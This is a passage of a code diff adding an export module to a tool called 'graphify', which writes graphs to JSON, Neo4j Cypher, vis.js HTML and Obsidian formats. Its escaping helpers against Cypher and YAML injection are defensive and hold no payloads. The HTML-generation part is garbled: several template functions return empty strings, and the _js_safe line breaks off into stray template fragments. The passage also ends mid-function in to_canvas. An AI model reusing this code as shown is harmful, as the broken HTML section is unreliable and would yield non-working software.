post-build)", + f"effective_directed: {summary.get('effective_directed', '')}", + f"nodes: {summary['node_count']}", + f"raw_edges: {summary['raw_edge_count']}", + f"valid_candidate_edges: {summary['valid_candidate_edges']}", + f"missing_endpoint_edges: {summary['missing_endpoint_edges']}", + f"dangling_endpoint_edges: {summary['dangling_endpoint_edges']}", + f"self_loop_edges: {summary['self_loop_edges']}", + f"exact_duplicate_edges: {summary['exact_duplicate_edges']}", + f"directed_unique_endpoint_pairs: {summary['directed_unique_endpoint_pairs']}", + ( + "directed_same_endpoint_collapsed_edges: " + f"{summary['directed_same_endpoint_collapsed_edges']}" + ), + f"undirected_unique_endpoint_pairs: {summary['undirected_unique_endpoint_pairs']}", + ( + "undirected_same_endpoint_collapsed_edges: " + f"{summary['undirected_same_endpoint_collapsed_edges']}" + ), + f"same_endpoint_group_count: {summary['same_endpoint_group_count']}", + f"relation_variant_groups: {summary['relation_variant_groups']}", + f"source_file_variant_groups: {summary['source_file_variant_groups']}", + f"source_location_variant_groups: {summary['source_location_variant_groups']}", + f"context_variant_groups: {summary['context_variant_groups']}", + f"post_build_graph_type: {summary['post_build_graph_type']}", + f"post_build_edges: {summary['post_build_edge_count']}", + f"producer_suppression_sites: {suppression.get('total_sites', 0)}", + ] + if summary.get("post_build_error"): + lines.append(f"post_build_error: {summary['post_build_error']}") + if suppression.get("error"): + lines.append(f"producer_suppression_error: {suppression['error']}") + if suppression.get("sites"): + lines.append("producer_suppression_examples:") + for site in suppression["sites"][:8]: + lines.append( + f" - L{site['line']} {site['name']} arity={site['tuple_arity'] or 'unknown'}" + ) + if summary.get("examples"): + lines.append("examples:") + for example in summary["examples"]: + lines.append( + " - " + f"{example['source']} -> {example['target']} " + f"edges={example['edge_count']} " + f"relations={example['relations']} " + f"locations={example['source_locations']} " + f"contexts={example['contexts']}" + ) + lines.append( + "note: normal graph.json is post-build; raw producer loss must be measured earlier." + ) + return "\n".join(lines) diff --git a/skills/graphify/export.py b/skills/graphify/export.py new file mode 100644 index 00000000..e9f7b504 --- /dev/null +++ b/skills/graphify/export.py @@ -0,0 +1,1408 @@ +# write graph to HTML, JSON, SVG, GraphML, Obsidian vault, and Neo4j Cypher +from __future__ import annotations +import hashlib +import html as _html +import json +import math +import os +import re +import shutil +from collections import Counter +from datetime import date +from pathlib import Path +import networkx as nx +from networkx.readwrite import json_graph +from graphify.security import sanitize_label +from graphify.analyze import _node_community_map +from graphify.build import edge_data + + +# Artifacts worth preserving across rebuilds (non-regenerable without LLM or curation). +_BACKUP_ARTIFACTS = [ + "graph.json", + "GRAPH_REPORT.md", + ".graphify_labels.json", + ".graphify_analysis.json", + "manifest.json", + ".graphify_semantic_marker", + "cost.json", +] + + +def backup_if_protected(out_dir: Path) -> "Path | None": + """Snapshot graph artifacts to a dated subfolder before an overwrite. + + Triggers when graph.json exists AND either: + - .graphify_semantic_marker is present (graph cost real LLM tokens), or + - .graphify_labels.json contains at least one non-default community label + (graph has been curated by a human or skill). + + Returns the backup folder path, or None if no backup was taken. + Never raises — backup failure prints a warning but never blocks the write. + Set GRAPHIFY_NO_BACKUP=1 to disable. + """ + if os.environ.get("GRAPHIFY_NO_BACKUP"): + return None + out = Path(out_dir) + if not (out / "graph.json").exists(): + return None + + is_semantic = (out / ".graphify_semantic_marker").exists() + is_curated = False + labels_file = out / ".graphify_labels.json" + if labels_file.exists(): + try: + labels = json.loads(labels_file.read_text(encoding="utf-8")) + is_curated = any(v != f"Community {k}" for k, v in labels.items()) + except Exception: + pass + + if not is_semantic and not is_curated: + return None + + reason = "+".join(filter(None, ["semantic" if is_semantic else "", "curated" if is_curated else ""])) + today = date.today().isoformat() + backup_dir = out / today + graph_src = out / "graph.json" + + # Skip re-copying if today's backup already has identical graph.json content. + # If content differs (graph changed since the last backup today), overwrite + # the backup in place — one folder per day, always the latest pre-overwrite state. + if backup_dir.exists() and (backup_dir / "graph.json").exists(): + src_hash = hashlib.sha256(graph_src.read_bytes()).hexdigest() + bak_hash = hashlib.sha256((backup_dir / "graph.json").read_bytes()).hexdigest() + if src_hash == bak_hash: + return backup_dir # identical content, nothing to do + + try: + backup_dir.mkdir(parents=True, exist_ok=True) + copied = 0 + for name in _BACKUP_ARTIFACTS: + src = out / name + if src.exists(): + try: + shutil.copy2(src, backup_dir / name) + copied += 1 + except Exception: + pass + if copied: + print(f"[graphify] backed up {reason} graph ({copied} files) -> {backup_dir.name}/") + return backup_dir + except Exception as exc: + import sys + print(f"[graphify] warning: backup failed ({exc}) - continuing with overwrite", file=sys.stderr) + return None + +def _obsidian_tag(name: str) -> str: + """Sanitize a community name for use as an Obsidian tag. + + Obsidian tags only allow alphanumerics, hyphens, underscores, and slashes. + Spaces become underscores; everything else is stripped. + """ + return re.sub(r"[^a-zA-Z0-9_\-/]", "", name.replace(" ", "_")) + + +def _strip_diacritics(text: str) -> str: + import unicodedata + nfkd = unicodedata.normalize("NFKD", text) + return "".join(c for c in nfkd if not unicodedata.combining(c)) + + +def _yaml_str(s: str) -> str: + """Escape a value for safe embedding in a YAML double-quoted scalar (F-009). + + See `graphify.ingest._yaml_str` for the full rationale; duplicated here to + avoid pulling the URL-fetching `ingest` module into export's dependency + graph. Handles backslash, double-quote, all line breaks (\\n, \\r, + U+2028, U+2029), tab, NUL, and other C0/DEL control characters that + would otherwise let a hostile `source_file` / `community` / etc. break + out of the YAML scalar and inject sibling keys. + """ + if s is None: + return "" + out: list[str] = [] + for ch in str(s): + cp = ord(ch) + if ch == "\\": + out.append("\\\\") + elif ch == '"': + out.append('\\"') + elif ch == "\n": + out.append("\\n") + elif ch == "\r": + out.append("\\r") + elif ch == "\t": + out.append("\\t") + elif ch == "\0": + out.append("\\0") + elif cp == 0x2028: + out.append("\\L") + elif cp == 0x2029: + out.append("\\P") + elif cp < 0x20 or cp == 0x7F: + out.append(f"\\x{cp:02x}") + else: + out.append(ch) + return "".join(out) + + +COMMUNITY_COLORS = [ + "#4E79A7", "#F28E2B", "#E15759", "#76B7B2", "#59A14F", + "#EDC948", "#B07AA1", "#FF9DA7", "#9C755F", "#BAB0AC", +] + +MAX_NODES_FOR_VIZ = 5_000 + + +def _viz_node_limit() -> int: + """Return the effective viz node limit, honoring GRAPHIFY_VIZ_NODE_LIMIT env var. + + Falls back to MAX_NODES_FOR_VIZ when the env var is unset, empty, or non-integer. + Set to 0 to disable HTML viz unconditionally (useful for CI runners). + """ + import os + raw = os.environ.get("GRAPHIFY_VIZ_NODE_LIMIT") + if raw is None or not raw.strip(): + return MAX_NODES_FOR_VIZ + try: + return int(raw) + except ValueError: + return MAX_NODES_FOR_VIZ + + +def _html_styles() -> str: + return """""" + + +def _hyperedge_script(hyperedges_json: str) -> str: + return f"""""" + + +def _html_script(nodes_json: str, edges_json: str, legend_json: str) -> str: + return f"""""" + + +_CONFIDENCE_SCORE_DEFAULTS = {"EXTRACTED": 1.0, "INFERRED": 0.5, "AMBIGUOUS": 0.2} + + +def attach_hyperedges(G: nx.Graph, hyperedges: list) -> None: + """Store hyperedges in the graph's metadata dict.""" + existing = G.graph.get("hyperedges", []) + seen_ids = {h["id"] for h in existing} + for h in hyperedges: + if h.get("id") and h["id"] not in seen_ids: + existing.append(h) + seen_ids.add(h["id"]) + G.graph["hyperedges"] = existing + + +def _git_head() -> str | None: + """Return the current git HEAD commit hash, or None if not in a git repo.""" + import subprocess as _sp + try: + r = _sp.run(["git", "rev-parse", "HEAD"], capture_output=True, text=True, timeout=3) + return r.stdout.strip() if r.returncode == 0 else None + except Exception: + return None + + +def to_json(G: nx.Graph, communities: dict[int, list[str]], output_path: str, *, force: bool = False, built_at_commit: str | None = None) -> bool: + # Safety check: refuse to silently shrink an existing graph (#479) + existing_path = Path(output_path) + if not force and existing_path.exists(): + try: + from graphify.security import check_graph_file_size_cap + check_graph_file_size_cap(existing_path) + existing_data = json.loads(existing_path.read_text(encoding="utf-8")) + existing_n = len(existing_data.get("nodes", [])) + new_n = G.number_of_nodes() + if new_n < existing_n: + import sys as _sys + print( + f"[graphify] WARNING: new graph has {new_n} nodes but existing " + f"graph.json has {existing_n} (net -{existing_n - new_n}). " + f"Refusing to overwrite. Possible causes: missing chunk files from " + f"a previous session, or fuzzy dedup collapsed same-named symbols " + f"across files during an --update on an already-current graph. " + f"Run a full rebuild (/graphify .) to be safe, or pass force=True " + f"only if you have verified the reduction is legitimate.", + file=_sys.stderr, + ) + return False + except Exception: + pass # unreadable existing file — proceed with write + + node_community = _node_community_map(communities) + try: + data = json_graph.node_link_data(G, edges="links") + except TypeError: + data = json_graph.node_link_data(G) + for node in data["nodes"]: + node["community"] = node_community.get(node["id"]) + node["norm_label"] = _strip_diacritics(node.get("label", "")).lower() + for link in data["links"]: + if "confidence_score" not in link: + conf = link.get("confidence", "EXTRACTED") + link["confidence_score"] = _CONFIDENCE_SCORE_DEFAULTS.get(conf, 1.0) + # Restore original edge direction. Undirected NetworkX storage may + # canonicalize endpoint order, flipping `calls` and other directional + # edges in graph.json. The build path stashes the true endpoints in + # _src/_tgt for exactly this purpose (#563). + true_src = link.pop("_src", None) + true_tgt = link.pop("_tgt", None) + if true_src is not None and true_tgt is not None: + link["source"] = true_src + link["target"] = true_tgt + data["hyperedges"] = getattr(G, "graph", {}).get("hyperedges", []) + commit = built_at_commit if built_at_commit is not None else _git_head() + if commit: + data["built_at_commit"] = commit + with open(output_path, "w", encoding="utf-8") as f: # nosec + json.dump(data, f, indent=2) + return True + + +def prune_dangling_edges(graph_data: dict) -> tuple[dict, int]: + """Remove edges whose source or target node is not in the node set. + + Returns the cleaned graph_data dict and the number of pruned edges. + """ + node_ids = {n["id"] for n in graph_data["nodes"]} + links_key = "links" if "links" in graph_data else "edges" + before = len(graph_data[links_key]) + graph_data[links_key] = [ + e for e in graph_data[links_key] + if e["source"] in node_ids and e["target"] in node_ids + ] + return graph_data, before - len(graph_data[links_key]) + + +def _cypher_escape(s: str) -> str: + """Escape a string for safe embedding in a Cypher single-quoted literal. + + Handles all characters that could prematurely terminate the literal or + inject control sequences: + - `\\` and `'` (literal terminators) + - newlines/CRs (would break the per-line statement framing) + - NUL/control bytes (defensive — Neo4j errors on raw NULs) + + Also strips any leading/trailing whitespace that would let an attacker + break the `;`-terminated statement boundary used by `cypher-shell`. + Closing `}` and `)` are NOT special inside a single-quoted Cypher string, + so escaping the quote and backslash correctly is sufficient (a `}` inside + a properly-closed `'...'` literal is just a character) — but we previously + missed `\\n` / `\\r` which DO let a payload break out of the statement + line and inject a fresh MATCH/DELETE on the following line. See F-008. + """ + # First normalise: drop NUL and other C0 control chars except tab. + s = "".join(ch for ch in s if ch >= " " or ch == "\t") + return ( + s.replace("\\", "\\\\") + .replace("'", "\\'") + .replace("\n", "\\n") + .replace("\r", "\\r") + ) + + +# Restrict identifier-position values (labels and relationship types are NOT +# quoted in Cypher and so cannot be safely escaped — they must be allowlisted). +_CYPHER_IDENT_RE = re.compile(r"[^A-Za-z0-9_]") + + +def _cypher_label(raw: str, fallback: str) -> str: + """Sanitise a value used in identifier position (node label / rel type). + + Cypher does not provide a way to escape `:Foo` label syntax, so we must + strip everything except `[A-Za-z0-9_]` and require the result to start + with a letter; otherwise we fall back to a safe constant. + """ + cleaned = _CYPHER_IDENT_RE.sub("", raw or "") + if not cleaned or not cleaned[0].isalpha(): + return fallback + return cleaned + + +def to_cypher(G: nx.Graph, output_path: str) -> None: + lines = ["// Neo4j Cypher import - generated by /graphify", ""] + for node_id, data in G.nodes(data=True): + label = _cypher_escape(data.get("label", node_id)) + node_id_esc = _cypher_escape(node_id) + ftype = _cypher_label( + (data.get("file_type", "unknown") or "unknown").capitalize(), + "Entity", + ) + lines.append(f"MERGE (n:{ftype} {{id: '{node_id_esc}', label: '{label}'}});") + lines.append("") + for u, v, data in G.edges(data=True): + rel = _cypher_label( + (data.get("relation", "RELATES_TO") or "RELATES_TO").upper(), + "RELATES_TO", + ) + conf = _cypher_escape(data.get("confidence", "EXTRACTED")) + u_esc = _cypher_escape(u) + v_esc = _cypher_escape(v) + lines.append( + f"MATCH (a {{id: '{u_esc}'}}), (b {{id: '{v_esc}'}}) " + f"MERGE (a)-[:{rel} {{confidence: '{conf}'}}]->(b);" + ) + with open(output_path, "w", encoding="utf-8") as f: # nosec + f.write("\n".join(lines)) + + +def to_html( + G: nx.Graph, + communities: dict[int, list[str]], + output_path: str, + community_labels: dict[int, str] | None = None, + member_counts: dict[int, int] | None = None, + node_limit: int | None = None, +) -> None: + """Generate an interactive vis.js HTML visualization of the graph. + + Features: node size by degree, click-to-inspect panel, search box, + community filter, physics clustering by community, confidence-styled edges. + Raises ValueError if graph exceeds MAX_NODES_FOR_VIZ. + + If member_counts is provided (aggregated community view), node sizes are + based on community member counts rather than graph degree. + + If node_limit is set and the graph exceeds it, automatically builds an + aggregated community-level meta-graph instead of raising ValueError. + """ + limit = node_limit if node_limit is not None else _viz_node_limit() + if G.number_of_nodes() > limit: + if node_limit is not None: + # Build aggregated community meta-graph + from collections import Counter as _Counter + import networkx as _nx + print(f"Graph has {G.number_of_nodes()} nodes (above {limit} limit). Building aggregated community view...") + node_to_community = {nid: cid for cid, members in communities.items() for nid in members} + meta = _nx.Graph() + for cid, members in communities.items(): + meta.add_node(str(cid), label=(community_labels or {}).get(cid, f"Community {cid}")) + edge_counts = _Counter() + for u, v in G.edges(): + cu, cv = node_to_community.get(u), node_to_community.get(v) + if cu is not None and cv is not None and cu != cv: + edge_counts[(min(cu, cv), max(cu, cv))] += 1 + for (cu, cv), w in edge_counts.items(): + meta.add_edge(str(cu), str(cv), weight=w, + relation=f"{w} cross-community edges", confidence="AGGREGATED") + if meta.number_of_nodes() <= 1: + print("Single community - aggregated view not useful. Skipping graph.html.") + return + meta_communities = {cid: [str(cid)] for cid in communities} + mc = {cid: len(members) for cid, members in communities.items()} + # Remap hyperedges from semantic node IDs to community IDs + raw_hyperedges = G.graph.get("hyperedges", []) + if raw_hyperedges: + remapped = [] + for he in raw_hyperedges: + he_members = he.get("nodes") or he.get("members") or [] + comm_ids, seen = [], set() + for nid in he_members: + c = node_to_community.get(nid) + if c is None: + continue + s = str(c) + if s in seen: + continue + seen.add(s) + comm_ids.append(s) + if len(comm_ids) < 2: + continue + remapped.append({ + "id": he.get("id", ""), + "label": he.get("label") or he.get("relation", "").replace("_", " "), + "nodes": comm_ids, + }) + meta.graph["hyperedges"] = remapped + to_html(meta, meta_communities, output_path, + community_labels=community_labels, member_counts=mc) + print(f"graph.html written (aggregated: {meta.number_of_nodes()} community nodes, {meta.number_of_edges()} cross-community edges)") + print("Tip: run with --obsidian for full node-level detail.") + return + raise ValueError( + f"Graph has {G.number_of_nodes()} nodes - too large for HTML viz " + f"(limit: {limit}). Use --no-viz, raise GRAPHIFY_VIZ_NODE_LIMIT, " + f"or reduce input size." + ) + + node_community = _node_community_map(communities) + degree = dict(G.degree()) + max_deg = max(degree.values(), default=1) or 1 + max_mc = (max(member_counts.values(), default=1) or 1) if member_counts else 1 + + # Build nodes list for vis.js + vis_nodes = [] + for node_id, data in G.nodes(data=True): + cid = node_community.get(node_id, 0) + color = COMMUNITY_COLORS[cid % len(COMMUNITY_COLORS)] + label = sanitize_label(data.get("label", node_id)) + deg = degree.get(node_id, 1) + if member_counts: + mc = member_counts.get(cid, 1) + size = 10 + 30 * (mc / max_mc) + font_size = 12 + else: + size = 10 + 30 * (deg / max_deg) + # Only show label for high-degree nodes by default; others show on hover + font_size = 12 if deg >= max_deg * 0.15 else 0 + vis_nodes.append({ + "id": node_id, + "label": label, + "color": {"background": color, "border": color, "highlight": {"background": "#ffffff", "border": color}}, + "size": round(size, 1), + "font": {"size": font_size, "color": "#ffffff"}, + "title": _html.escape(label), + "community": cid, + "community_name": sanitize_label((community_labels or {}).get(cid, f"Community {cid}")), + "source_file": sanitize_label(str(data.get("source_file") or "")), + "file_type": data.get("file_type", ""), + "degree": deg, + }) + + # Build edges list. Restore original edge direction from _src/_tgt + # (stashed by build.py for exactly this reason): undirected NetworkX + # canonicalizes endpoint order, which would otherwise flip the arrow + # for `calls` and `rationale_for` in the rendered graph (#563). + vis_edges = [] + for u, v, data in G.edges(data=True): + confidence = data.get("confidence", "EXTRACTED") + relation = data.get("relation", "") + true_src = data.get("_src", u) + true_tgt = data.get("_tgt", v) + vis_edges.append({ + "from": true_src, + "to": true_tgt, + "label": relation, + "title": _html.escape(f"{relation} [{confidence}]"), + "dashes": confidence != "EXTRACTED", + "width": 2 if confidence == "EXTRACTED" else 1, + "color": {"opacity": 0.7 if confidence == "EXTRACTED" else 0.35}, + "confidence": confidence, + }) + + # Build community legend data + legend_data = [] + for cid in sorted((community_labels or {}).keys()): + color = COMMUNITY_COLORS[cid % len(COMMUNITY_COLORS)] + lbl = _html.escape(sanitize_label((community_labels or {}).get(cid, f"Community {cid}"))) + n = member_counts.get(cid, len(communities.get(cid, []))) if member_counts else len(communities.get(cid, [])) + legend_data.append({"cid": cid, "color": color, "label": lbl, "count": n}) + + # Escape sequences so embedded JSON cannot break out of the script tag + def _js_safe(obj) -> str: + return json.dumps(obj).replace(" + + + +graphify - {title} + +{_html_styles()} + + +
    + +{_html_script(nodes_json, edges_json, legend_json)} +{_hyperedge_script(hyperedges_json)} + +""" + + Path(output_path).write_text(html, encoding="utf-8") # nosec + + +# Keep backward-compatible alias - skill.md calls generate_html +generate_html = to_html + + +def _cap_filename(s: str, limit: int = 200) -> str: + """Cap a filename stem to ``limit`` UTF-8 bytes so it stays under the 255-byte + filesystem limit even after the ``.md`` extension and dedup suffix are added + (#1094). The cap is on BYTES, not chars, because a label of multibyte + characters (CJK, accented) can exceed 255 bytes well under 255 chars. When + truncation happens, an 8-char hash of the full label is appended so two + distinct labels sharing a long prefix produce distinct, deterministic + filenames instead of colliding.""" + b = s.encode("utf-8") + if len(b) <= limit: + return s + digest = hashlib.sha1(s.encode("utf-8")).hexdigest()[:8] # nosec - not security + keep = limit - 9 # "_" + 8 hex chars + truncated = b[:keep].decode("utf-8", "ignore") # "ignore" drops a split trailing char + return f"{truncated}_{digest}" + + +def to_obsidian( + G: nx.Graph, + communities: dict[int, list[str]], + output_dir: str, + community_labels: dict[int, str] | None = None, + cohesion: dict[int, float] | None = None, +) -> int: + """Export graph as an Obsidian vault - one .md file per node with [[wikilinks]], + plus one _COMMUNITY_name.md overview note per community (sorted to top by underscore prefix). + + Open the output directory as a vault in Obsidian to get an interactive + graph view with community colors and full-text search over node metadata. + + Returns the number of node notes + community notes written. + """ + out = Path(output_dir) + out.mkdir(parents=True, exist_ok=True) + + node_community = _node_community_map(communities) + + # Map node_id → safe filename so wikilinks stay consistent. + # Deduplicate: if two nodes produce the same filename, append a numeric suffix. + def safe_name(label: str) -> str: + cleaned = re.sub(r'[\\/*?:"<>|#^[\]]', "", label.replace("\r\n", " ").replace("\r", " ").replace("\n", " ")).strip() + # Strip trailing .md/.mdx/.markdown so "CLAUDE.md" doesn't become "CLAUDE.md.md" + cleaned = re.sub(r"\.(md|mdx|qmd|markdown)$", "", cleaned, flags=re.IGNORECASE) + return _cap_filename(cleaned) if cleaned else "unnamed" + + node_filename: dict[str, str] = {} + seen_names: dict[str, int] = {} + for node_id, data in G.nodes(data=True): + base = safe_name(data.get("label", node_id)) + if base in seen_names: + seen_names[base] += 1 + node_filename[node_id] = f"{base}_{seen_names[base]}" + else: + seen_names[base] = 0 + node_filename[node_id] = base + + # Helper: compute dominant confidence for a node across all its edges + def _dominant_confidence(node_id: str) -> str: + confs = [] + for u, v, edata in G.edges(node_id, data=True): + confs.append(edata.get("confidence", "EXTRACTED")) + if not confs: + return "EXTRACTED" + return Counter(confs).most_common(1)[0][0] + + # Map file_type → graphify tag + _FTYPE_TAG = { + "code": "graphify/code", + "document": "graphify/document", + "paper": "graphify/paper", + "image": "graphify/image", + } + + # Write one .md file per node + for node_id, data in G.nodes(data=True): + label = data.get("label", node_id) + cid = node_community.get(node_id) + community_name = ( + community_labels.get(cid, f"Community {cid}") + if community_labels and cid is not None + else f"Community {cid}" + ) + + # Build tags for this node + ftype = data.get("file_type", "") + ftype_tag = _FTYPE_TAG.get(ftype, f"graphify/{ftype}" if ftype else "graphify/document") + dom_conf = _dominant_confidence(node_id) + conf_tag = f"graphify/{dom_conf}" + comm_tag = f"community/{_obsidian_tag(community_name)}" + node_tags = [ftype_tag, conf_tag, comm_tag] + + lines: list[str] = [] + + # YAML frontmatter - readable in Obsidian's properties panel. + # All scalars pass through _yaml_str so a hostile source_file or + # community label cannot break out and inject sibling keys (F-009). + lines += [ + "---", + f'source_file: "{_yaml_str(data.get("source_file", ""))}"', + f'type: "{_yaml_str(ftype)}"', + f'community: "{_yaml_str(community_name)}"', + ] + if data.get("source_location"): + lines.append(f'location: "{_yaml_str(str(data["source_location"]))}"') + # Add tags list to frontmatter + lines.append("tags:") + for tag in node_tags: + lines.append(f" - {tag}") + lines += ["---", "", f"# {label}", ""] + + # Outgoing edges as wikilinks + neighbors = list(G.neighbors(node_id)) + if neighbors: + lines.append("## Connections") + for neighbor in sorted(neighbors, key=lambda n: G.nodes[n].get("label", n)): + edata = edge_data(G, node_id, neighbor) + neighbor_label = node_filename[neighbor] + relation = edata.get("relation", "") + confidence = edata.get("confidence", "EXTRACTED") + lines.append(f"- [[{neighbor_label}]] - `{relation}` [{confidence}]") + lines.append("") + + # Inline tags at bottom of note body (for Obsidian tag panel) + inline_tags = " ".join(f"#{t}" for t in node_tags) + lines.append(inline_tags) + + fname = node_filename[node_id] + ".md" + (out / fname).write_text("\n".join(lines), encoding="utf-8") # nosec + + # Write one _COMMUNITY_name.md overview note per community + # Build inter-community edge counts for "Connections to other communities" + inter_community_edges: dict[int, dict[int, int]] = {} + for cid in communities: + inter_community_edges[cid] = {} + for u, v in G.edges(): + cu = node_community.get(u) + cv = node_community.get(v) + if cu is not None and cv is not None and cu != cv: + inter_community_edges.setdefault(cu, {}) + inter_community_edges.setdefault(cv, {}) + inter_community_edges[cu][cv] = inter_community_edges[cu].get(cv, 0) + 1 + inter_community_edges[cv][cu] = inter_community_edges[cv].get(cu, 0) + 1 + + # Precompute per-node community reach (number of distinct communities a node connects to) + def _community_reach(node_id: str) -> int: + neighbor_cids = { + node_community[nb] + for nb in G.neighbors(node_id) + if nb in node_community and node_community[nb] != node_community.get(node_id) + } + return len(neighbor_cids) + + community_notes_written = 0 + for cid, members in communities.items(): + community_name = ( + community_labels.get(cid, f"Community {cid}") + if community_labels and cid is not None + else f"Community {cid}" + ) + n_members = len(members) + coh_value = cohesion.get(cid) if cohesion else None + + lines: list[str] = [] + + # YAML frontmatter + lines.append("---") + lines.append("type: community") + if coh_value is not None: + lines.append(f"cohesion: {coh_value:.2f}") + lines.append(f"members: {n_members}") + lines.append("---") + lines.append("") + lines.append(f"# {community_name}") + lines.append("") + + # Cohesion + member count summary + if coh_value is not None: + cohesion_desc = ( + "tightly connected" if coh_value >= 0.7 + else "moderately connected" if coh_value >= 0.4 + else "loosely connected" + ) + lines.append(f"**Cohesion:** {coh_value:.2f} - {cohesion_desc}") + lines.append(f"**Members:** {n_members} nodes") + lines.append("") + + # Members section + lines.append("## Members") + for node_id in sorted(members, key=lambda n: G.nodes[n].get("label", n)): + data = G.nodes[node_id] + node_label = node_filename[node_id] + ftype = data.get("file_type", "") + source = data.get("source_file", "") + entry = f"- [[{node_label}]]" + if ftype: + entry += f" - {ftype}" + if source: + entry += f" - {source}" + lines.append(entry) + lines.append("") + + # Dataview live query (improvement 2) + comm_tag_name = _obsidian_tag(community_name) + lines.append("## Live Query (requires Dataview plugin)") + lines.append("") + lines.append("```dataview") + lines.append(f"TABLE source_file, type FROM #community/{comm_tag_name}") + lines.append("SORT file.name ASC") + lines.append("```") + lines.append("") + + # Connections to other communities + cross = inter_community_edges.get(cid, {}) + if cross: + lines.append("## Connections to other communities") + for other_cid, edge_count in sorted(cross.items(), key=lambda x: -x[1]): + other_name = ( + community_labels.get(other_cid, f"Community {other_cid}") + if community_labels and other_cid is not None + else f"Community {other_cid}" + ) + other_safe = safe_name(other_name) + lines.append(f"- {edge_count} edge{'s' if edge_count != 1 else ''} to [[_COMMUNITY_{other_safe}]]") + lines.append("") + + # Top bridge nodes - highest degree nodes that connect to other communities + bridge_nodes = [ + (node_id, G.degree(node_id), _community_reach(node_id)) + for node_id in members + if _community_reach(node_id) > 0 + ] + bridge_nodes.sort(key=lambda x: (-x[2], -x[1])) + top_bridges = bridge_nodes[:5] + if top_bridges: + lines.append("## Top bridge nodes") + for node_id, degree, reach in top_bridges: + node_label = node_filename[node_id] + lines.append( + f"- [[{node_label}]] - degree {degree}, connects to {reach} " + f"{'community' if reach == 1 else 'communities'}" + ) + + community_safe = safe_name(community_name) + fname = f"_COMMUNITY_{community_safe}.md" + (out / fname).write_text("\n".join(lines), encoding="utf-8") # nosec + community_notes_written += 1 + + # Improvement 4: write .obsidian/graph.json to color nodes by community in graph view + obsidian_dir = out / ".obsidian" + obsidian_dir.mkdir(exist_ok=True) + graph_config = { + "colorGroups": [ + { + "query": f"tag:#community/{label.replace(' ', '_')}", + "color": {"a": 1, "rgb": int(COMMUNITY_COLORS[cid % len(COMMUNITY_COLORS)].lstrip('#'), 16)} + } + for cid, label in sorted((community_labels or {}).items()) + ] + } + (obsidian_dir / "graph.json").write_text(json.dumps(graph_config, indent=2), encoding="utf-8") # nosec + + return G.number_of_nodes() + community_notes_written + + +def to_canvas( + G: nx.Graph, + communities: dict[int, list[str]], + output_path: str, + community_labels: dict[int, str] | None = None, + node_filenames: dict[str, str] | None = None, +) -> None: + """Export graph as an Obsidian Canvas file - communities as groups, nodes as cards. + + Generates a structured layout: communities arranged in a grid, nodes within + each community arranged in rows. Edges shown between connected nodes. + Opens in Obsidian as an infinite canvas with community groupings visible. + """ + # Obsidian canvas color codes (cycle through for communities) + CANVAS_COLORS = ["1", "2", "3", "4", "5", "6"] # red, orange, yellow, green, cyan, purple + + def safe_name(label: str) -> str: + cleaned = re.sub(r'[\\/*?:"<>|#^[\]]', "", label.replace("\r\n", " ").replace("\r", " ").replace("\n", " ")).strip() + cleaned = re.sub(r"\.(md|mdx|qmd|markdown)$", "", cleaned, flags=re.IGNORECASE) + return _cap_filename(cleaned) if cleaned else "unnamed" + + # Build node_filenames if not provided (same dedup logic as to_obsidian) + if node_filenames is None: + node_filenames = {} + seen_names: dict[str, int] = {} + for node_id, data in G.nodes(data=True): + base = safe_name(data.get("label", node_id)) + if base in seen_names: + seen_names[base] += 1 + node_filenames[node_id] = f"{base}_{seen_names[base]}" + else: + seen_names[base] = 0 + node_filenames[node_id] = base + + num_communities = len(communities) + cols = math.ceil(math.sqrt(num_communities)) if num_communities > 0 else 1 + rows = math.ceil(num_communities / cols) if num_communities > 0 else 1 + + canvas_nodes: list[dict] = [] + canvas_edges: list[dict] = [] + + # Lay out communities in a grid + gap = 80 + group_x_offsets: list[int] = [] + group_y_offsets: list[int] = [] + + # Precompute group sizes so we can calculate offsets + sorted_cids = sorted(communities.keys()) + group_sizes: dict[int, tuple[int, int]] = {} + for cid in sorted_cids: + members = communities[cid] + n = len(members) + w = max(600, 220 * math.ceil(math.sqrt(n)) if n > 0 else 600) + h = max(400, 100 * math.ceil(n / 3) + 120 if n > 0 else 400) + group_sizes[cid] = (w, h) + + # Compute cumulative row heights and col widths for grid placement + # Each grid cell uses the max width/height in its col/row + col_widths: list[int] = [] + row_heights: list[int] = [] + for col_idx in range(cols): + max_w = 0 + for row_idx in range(rows): + linear = row_idx * cols + col_idx + if linear < len(sorted_cids): + cid = sorted_cids[linear] + w, _ = group_sizes[cid] + max_w = max(max_w, w) + col_widths.append(max_w) + + for row_idx in range(rows): + max_h = 0 + for col_idx in range(cols): + linear = row_idx * cols + col_idx + if linear < len(sorted_cids): + cid = sorted_cids[linear] + _, h = group_sizes[cid] + max_h = max(max_h, h) + row_heights.append(max_h) + + # Map from cid → (group_x, group_y, group_w, group_h) + group_layout: dict[int, tuple[int, int, int, int]] = {} + for idx, cid in enumerate(sorted_cids): + col_idx = idx % cols + row_idx = idx // cols + gx = sum(col_widths[:col_idx]) + col_idx * gap + gy = sum(row_heights[:row_idx]) + row_idx * gap + gw, gh = group_sizes[cid] + group_layout[cid] = (gx, gy, gw, gh) + + # Build set of all node_ids in canvas for edge filtering + all_canvas_nodes: set[str] = set() + for members in communities.values(): + all_canvas_nodes.update(members) + + # Generate group and node canvas entries + for idx, cid in enumerate(sorted_cids): + members = communities[cid] + community_name = ( + community_labels.get(cid, f"Community {cid}") + if community_labels and cid is not None + else f"Community {cid}" + ) + gx, gy, gw, gh = group_layout[cid] + canvas_color = CANVAS_COLORS[idx % len(CANVAS_COLORS)] + + # Group node + canvas_nodes.append({ + "id": f"g{cid}", + "type": "group", + "label": community_name, + "x": gx, + "y": gy, + "width": gw, + "height": gh, + "color": canvas_color, + }) + + # Node cards inside the group - rows of 3 + sorted_members = sorted(members, key=lambda n: G.nodes[n].get("label", n)) + for m_idx, node_id in enumerate(sorted_members): + col = m_idx % 3 + row = m_idx // 3 + nx_x = gx + 20 + col * (180 + 20) + nx_y = gy + 80 + row * (60 + 20) + fname = node_filenames.get(node_id, safe_name(G.nodes[node_id].get("label", node_id))) + canvas_nodes.append({ + "id": f"n_{node_id}", + "type": "file", + "file": f"{fname}.md", + "x": nx_x, + "y": nx_y, + "width": 180, + "height": 60, + }) + + # Generate edges - only between nodes both in canvas, cap at 200 highest-weight + all_edges_weighted: list[tuple[float, str, str, str]] = [] + for u, v, edata in G.edges(data=True): + if u in all_canvas_nodes and v in all_canvas_nodes: + weight = edata.get("weight", 1.0) + relation = edata.get("relation", "") + conf = edata.get("confidence", "EXTRACTED") + label = f"{relation} [{conf}]" if relation else f"[{conf}]" + 